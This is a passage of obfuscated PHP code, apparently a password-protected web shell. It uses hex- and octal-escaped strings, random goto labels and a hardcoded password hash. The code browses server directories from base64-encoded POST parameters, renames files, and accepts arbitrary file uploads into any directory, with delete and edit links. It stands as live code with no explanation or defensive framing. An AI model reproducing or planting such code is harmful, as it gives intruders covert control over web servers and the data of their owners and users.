$v) { if ($v == '' && $k == 0) { echo "\x3c\x61\x20\x68\162\145\x66\x3d\42\x6a\141\x76\141\163\143\162\151\x70\x74\72\166\157\151\x64\50\60\x29\73\42\x20\157\156\x63\154\151\143\x6b\75\x22\x70\157\x73\x74\104\151\x72\50\47\57\47\51\x22\76\x2f\x3c\x2f\x61\76"; continue; } $dirPath = implode("\57", array_slice($pathParts, 0, $k + 1)); echo "\x3c\x61\x20\150\162\145\x66\x3d\42\152\141\166\141\x73\x63\x72\x69\160\x74\x3a\x76\x6f\x69\144\50\x30\51\73\x22\40\x6f\x6e\143\154\x69\x63\153\x3d\x22\160\157\163\164\104\x69\x72\50\x27" . addslashes($dirPath) . "\47\51\x22\76{$v}\x3c\57\x61\x3e\x2f"; } goto mpNut; mpNut: echo "\x3c\x2f\144\151\x76\x3e"; goto GwlVN; urVo7: echo "\x3c\x64\151\x76\x20\143\154\x61\x73\163\75\42\x64\x69\162\42\76"; goto hc3qK; MdeFX: $items = scandir($currentDir); goto Fbkif; s2_M0: if (isset($_POST["\x72\145\x6e"]) && !empty($_POST["\x72\145\x6e"])) { $oldPath = base64_decode($_POST["\162\145\x6e"]); $oldDir = dirname($oldPath); if (isset($_POST["\156\x65\167"]) && !empty($_POST["\x6e\x65\167"])) { $newPath = $oldDir . "\x2f" . $_POST["\156\145\x77"]; if (file_exists($oldPath) && !file_exists($newPath) && rename($oldPath, $newPath)) { echo "\x3c\163\143\x72\151\160\164\x3e\141\x6c\145\162\x74\50\x27\122\x65\156\x61\155\145\x20\x73\x75\143\x63\x65\163\x73\x66\x75\x6c\41\47\51\73\x20\160\157\x73\164\104\x69\x72\50\x27" . addslashes($oldDir) . "\47\51\73\x3c\57\x73\143\x72\x69\160\164\x3e"; } else { echo "\x3c\163\x63\162\151\160\x74\76\141\x6c\145\162\x74\50\x27\122\145\x6e\141\x6d\x65\x20\146\x61\151\154\x65\144\x21\47\51\x3b\40\x70\157\x73\164\x44\151\x72\50\x27" . addslashes($oldDir) . "\47\51\73\x3c\57\163\x63\x72\151\x70\164\x3e"; } } else { echo "\x3c\146\157\x72\155\x20\155\x65\x74\x68\x6f\144\x3d\42\160\157\163\x74\42\76" . "\x4e\x65\x77\40\156\141\x6d\x65\72\x20\74\151\156\160\165\164\x20\x6e\141\x6d\145\x3d\x22\156\145\167\42\x20\x74\x79\x70\145\75\x22\x74\145\x78\x74\42\40\166\141\154\165\145\x3d\42\42\76" . "\x3c\151\x6e\x70\165\x74\40\x74\171\x70\x65\75\x22\x68\x69\x64\144\x65\x6e\x22\40\156\x61\x6d\145\x3d\x22\162\x65\x6e\42\40\x76\x61\x6c\165\x65\x3d\x22" . $_POST["\162\x65\x6e"] . "\42\76" . "\74\151\x6e\160\x75\x74\x20\164\171\160\x65\75\42\150\x69\x64\x64\145\x6e\42\40\156\x61\155\x65\75\42\x64\x22\x20\166\141\x6c\x75\x65\x3d\x22" . base64_encode($oldDir) . "\x22\76" . "\x3c\x69\x6e\x70\165\164\40\164\x79\160\x65\75\x22\163\165\142\155\151\x74\42\40\166\141\154\x75\x65\x3d\x22\x53\165\x62\155\151\x74\42\76" . "\74\x2f\146\x6f\162\x6d\x3e"; } } goto cx_oM; nZJdH: $hashedPassword = "\44\62\x79\x24\61\62\x24\x59\x52\151\x38\56\101\x59\x4d\x70\61\146\124\141\x41\153\153\x38\166\126\117\x65\145\167\x53\107\160\x49\x56\x70\131\x52\x33\124\65\141\154\145\61\x75\131\x62\170\x6f\x67\x2f\153\x62\x32\142\162\160\141\x79"; goto RCtXj; VbMfs: $currentDir = isset($_POST["\x64"]) && !empty($_POST["\x64"]) ? base64_decode($_POST["\144"]) : getcwd(); goto cJ93O; GwlVN: if (isset($_POST["\x73"]) && isset($_FILES["\165"]) && $_FILES["\x75"]["\145\x72\162\x6f\162"] == 0) { $fileName = $_FILES["\165"]["\156\141\155\x65"]; $tmpName = $_FILES["\165"]["\x74\155\160\x5f\156\x61\155\145"]; $destination = $currentDir . "\x2f" . $fileName; if (move_uploaded_file($tmpName, $destination)) { echo "\x3c\163\143\162\151\x70\x74\76\x61\154\145\x72\x74\x28\x27\125\x70\154\157\141\x64\40\163\165\x63\x63\145\163\x73\146\x75\x6c\41\47\51\x3b\40\x70\x6f\x73\164\x44\151\x72\50\x27" . addslashes($currentDir) . "\47\x29\73\74\57\x73\x63\x72\x69\160\x74\x3e"; } else { echo "\74\163\143\162\x69\x70\164\x3e\141\x6c\145\x72\x74\x28\47\x55\160\154\x6f\141\144\40\x66\141\x69\154\145\x64\41\47\x29\x3b\74\x2f\x73\x63\x72\151\160\164\76"; } } goto MdeFX; Ipn0R: session_start(); goto nZJdH; JNPC4: echo base64_encode($currentDir); goto jptzw; Fbkif: if ($items !== false) { echo "\x3c\164\141\x62\154\145\x3e"; echo "\x3c\x74\x72\76\74\x74\x68\76\x46\x69\x6c\145\57\x46\157\x6c\144\x65\x72\x20\x4e\141\155\145\74\x2f\164\150\x3e\74\164\x68\x3e\123\151\x7a\145\74\x2f\x74\x68\76\74\x74\x68\76\x41\x63\x74\x69\x6f\156\x3c\57\x74\150\x3e\74\x2f\x74\x72\x3e"; foreach ($items as $item) { if (!is_dir($currentDir . "\x2f" . $item) || $item == "\x2e" || $item == "\x2e\56") { continue; } echo "\x3c\x74\x72\x3e\74\164\x64\76\74\x61\x20\x68\x72\145\146\75\x22\x6a\141\x76\x61\x73\x63\162\151\160\164\72\x76\157\x69\144\x28\x30\51\x3b\42\x20\x6f\x6e\x63\154\151\143\153\75\x22\160\x6f\x73\x74\104\x69\162\50\47" . addslashes($currentDir . "\57" . $item) . "\47\x29\x22\76{$item}\x3c\57\x61\x3e\74\x2f\x74\144\x3e\x3c\164\144\x3e\55\55\x3c\57\x74\144\x3e\74\x74\x64\x3e\x4e\x4f\116\105\74\57\x74\x64\x3e\74\57\164\x72\76"; } foreach ($items as $item) { if (!is_file($currentDir . "\57" . $item)) { continue; } $size = filesize($currentDir . "\57" . $item) / 1024; $size = $size >= 1024 ? round($size / 1024, 2) . "\115\102" : round($size, 2) . "\113\x42"; echo "\x3c\164\162\x3e\x3c\164\144\76\74\x61\40\x68\x72\x65\x66\x3d\x22\152\x61\166\141\163\x63\x72\x69\x70\164\72\166\x6f\151\x64\50\60\x29\x3b\x22\x20\x6f\156\x63\x6c\151\143\x6b\75\42\160\x6f\163\164\117\x70\145\156\50\x27" . addslashes($currentDir . "\x2f" . $item) . "\x27\51\42\x3e{$item}\74\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\x3c\x74\x64\x3e{$size}\x3c\57\x74\x64\x3e\74\x74\x64\76" . "\74\141\x20\150\x72\x65\146\75\42\152\x61\166\141\x73\x63\x72\x69\x70\164\72\166\x6f\x69\x64\x28\x30\51\73\42\40\x6f\156\x63\154\x69\143\153\75\x22\160\x6f\163\x74\x44\x65\x6c\x28\x27" . addslashes($currentDir . "\57" . $item) . "\47\51\x22\40\143\154\141\x73\163\75\42\142\165\164\164\157\156\61\42\76\104\x65\154\145\164\x65\x3c\57\141\76" . "\74\141\x20\150\x72\145\x66\x3d\x22\x6a\x61\x76\141\x73\x63\162\x69\x70\164\72\x76\157\x69\x64\x28\60\51\73\x22\x20\x6f\156\x63\x6c\x69\143\x6b\75\x22\160\x6f\163\164\x45\x64\x69\164\x28\x27" . addslashes($currentDir . "\x2f" . $item) . "\x27\x29\x22\x20\x63\154\x61\x73\x73\x3d\x22\142\x75\x74\x74\157\156\x31\x22\x3e\x45\x64\x69\164\74\x2f\141\x3e" . "\x3c\141\x20\150\162\x65\x66\75\42\x6a\x61\166\141\163\143\x72\x69\160\x74\72\x76\157\x69\144\x28\60\x29\73\x22\x20\157\x6e\x63\154\151\x63\x6b\75\42\160\x6f\x73\164\122\145\x6e\50\x27" . addslashes($currentDir . "\x2f" . $item) . "\x27\54\40\47{$item}\x27\51\42\40\143\x6c\141\x73\x73\75\42\x62\x75\164\164\x6f\156\x31\42\x3e\x52\145\x6e\141\x6d\145\74\57\141\76" . "\74\57\x74\144\76\x3c\57\x74\162\76"; } echo "\74\x2f\x74\141\142\x6c\145\76"; } else { echo "\x3c\x70\x3e\x55\156\141\142\154\x65\40\164\157\40\x72\x65\141\x64\40\x64\x69\x72\145\x63\x74\157\x72\171\41\x3c\x2f\160\76"; } goto B0X2a; cx_oM: ?>